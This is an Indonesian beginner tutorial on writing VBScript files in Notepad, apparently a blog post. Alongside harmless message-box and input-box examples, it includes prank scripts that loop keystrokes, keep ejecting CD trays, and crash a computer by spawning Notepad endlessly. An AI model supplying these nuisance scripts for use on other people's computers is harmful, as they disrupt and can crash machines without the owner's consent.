VBS SIMPLE SAMPLE

SCRIPT : THUNDER VOLTAGER) (TV↯)
Disini kami mencoba untuk mengulas secara sederhana agar secara umum garis besar nya dapat dicerna, tapi bila anda telah menguasainya maka silahkan ikuti  %,@x$#.......
Jangan di gunakan untuk merugikan orang lain , tapi manfaatkan ilmunya agar barokah. Pelajari cara kerjanya dan buat obatnya untuk menolong / buat scipt yang bermanfaat.
Kunci dari Semua Script ini adalah ditulis di dalam NOTEPAD.
Pertama Buka Notepad anda :
Click kanan mouse button dan pilih Text Document / Buka Notepad. Atau Cara lain
Tekan Start + R >tulis Notepad > tekan Enter. Masih banyak cara lain untuk ini.

===========================================================================
Buka Notepad dan tuliskan yang dibawah ini:
===========================================================================

x=msgbox(box text,buttons,box title)

"box text", Tuliskan apa yang akan ditampilkan (dengan tanda kutip).
"box title", Tuliskan judul yang akan ditampilkan (dengan tanda kutip).
 "buttons" , Masukan Nomer (tanpa tanda kutip):

0: Normal message box
1: OK and Cancel
2: Abort, Retry, Ignore
3: Yes, No, Cancel
4: Yes and No
5: Retry and Cancel
16: Critical message icon
32: Warning query icon
48: Warning message icon
64: Information message icon
4096: Always stay on top of the desktop

Diantara Tampilan berdasarkan Nomor :

===========================================================================

Membuat Pop-up 4096

Buka Notepad dan tuliskan / copas Script dibawah ini : . . .

x = MsgBox("Hati-hati Thunder Voltager",4096,"TV")

 Tulisan  "TV"  akan menjadi judul

Save sebagai .vbs extension. .  type All file

===========================================================================


Membuat Pop-up 20

Buka Notepad dan tuliskan / copas Script dibawah ini : . . .

onclick=msgbox ("Hati-hati Thunder Voltager",20,"TV")

Save sebagai .vbs extension. .  type All file

===========================================================================

Membuat Chatbox 1.

Buka Notepad dan tuliskan / copas Script dibawah ini : . . .

dim fname
fname=inputbox("Apakah anda mengenal Thunder Voltager")

Save sebagai .vbs extension. .  type All file

===========================================================================

Membuat Chatbox 2.

Buka Notepad dan tuliskan / copas Script dibawah ini : . . .

dim fname
fname=inputbox("Apakah anda mengenal Thunder Voltager")
msgbox fname


Save sebagai .vbs extension. .  type All file



===========================================================================

6) Frustrate your friend by making this VBScript hit BackSpace simultaneously:

Type :
MsgBox "Ada masalah dengan BackSpace"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan

msgbox("Hallo  Kang !")
msgbox("Hallo, Damang?")

Disini kita akan mendapatkan dua Pesan
Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Loop

DO
msgbox("Waduh . . Pesan ini kok berulang-ulang yak")
LOOP

Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Gabungan

name=inputbox("Masukan Nama Anda?")
msgbox("Selamat Ulang Tahun") + name

Menggabungkan dua pesan dimana pesan pertama berupa box yang harus kita isi
Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Gabungan
msgbox("HackTool VBS - Message box maker")
msg=inputbox("Thunder Voltager")
msgbox(" ") + msg

Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Gabungan

msgbox("HackTool VBS - Annoying Message box maker")
msg=inputbox("Thunder Voltager")
DO
msgbox(" ") + msg
Loop

Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Gabungan

msgbox("HackTool VBS - Calculator - *")
num1=inputbox("Number 1...")
num2=inputbox("Number 2...")
msgbox num1*num2

Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Gabungan

msgbox("HackTool VBS - Question Box")
msg=inputbox("Enter a question...")
msgb=inputbox("Enter a message box message... ( message will be before answer) ")
answer=inputbox(" ") + msg
msgbox (" ") + msg + (" ") + answer


Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Pertanyaan
Copy and paste the following into Notepad...

whatyouwanthere=inputbox("Masukan Pertanyan")
msgbox (whatyouwanthere)

NOTE:
Text berwana haruslah sama.......

===========================================================================

Box Pesan Dengan PassWord

pass=inputbox("Password?")
if pass="jengkol" then msgbox("Correct Password!") else msgbox("Incorrect Password!")

Sebagai contoh disini kita masukan password jengkol
Save sebagai .vbs extension. .  type All file

===========================================================================

Box Pesan Dengan PassWord.

Set shell=CreateObject("wscript.shell")
pass=inputbox("Enter a Password")
if pass="sambel" then Shell.Run("Notepad.exe") else msgbox("Incorrect Password!")

Contoh ini menggunakan password "sambel".
Notepad.exe bisa diganti progam apa yang akan dibuka.
Silahkan dicoba saya sendiri belum mencoba hehe
Save it as runpass.vbs and enjoy!


===========================================================================

Cd Roms

DO
Set owMP = CreateOBject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
for i= 0 to colCDROMs.Count - 1
colCDROMS.Item(i).Eject
Next ' cdrom
End If
loop


Save sebagai .vbs extension. .  type All file

===========================================================================

hit Enter simultaneously:

Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save sebagai .vbs extension. .  type All file

===========================================================================

Keyboard Akan Mengetik "You are a fool" Terus-menerus.

Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save sebagai .vbs extension. .  type All file

===========================================================================

Caps Lock Menyala Terus-menerus:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save sebagai .vbs extension. .  type All file

===========================================================================

Tombol Enter Aktif Terus
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save sebagai .vbs extension. .  type All file

===========================================================================

CD/DVD Roms Keluar Terus walau dimasukan.
or *.vbs.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save sebagai .vbs extension. .  type All file

===========================================================================

Membuka NotePad

Set shell=CreateObject("wscript.shell")
Shell.Run("Notepad.exe")

Save sebagai .vbs extension. .  type All file

===========================================================================


Crash komputer

Copy and paste the following into Notepad...
Set shell=CreateObject("wscript.shell")
do
Shell.Run("Notepad.exe")
loop
Save sebagai .vbs extension. .  type All file

===========================================================================

Membuka Program.Exe..

Set shell=CreateObject("wscript.shell")
Shell.Run("Notepad.exe")
Set shell=CreateObject("wscript.shell")
Shell.Run("MSPaint")
Set shell=CreateObject("wscript.shell")
Shell.Run("CMD.exe")

Bisa membuka program sebanyaknya.
Save sebagai .vbs extension. .  type All file

===========================================================================

===========================================================================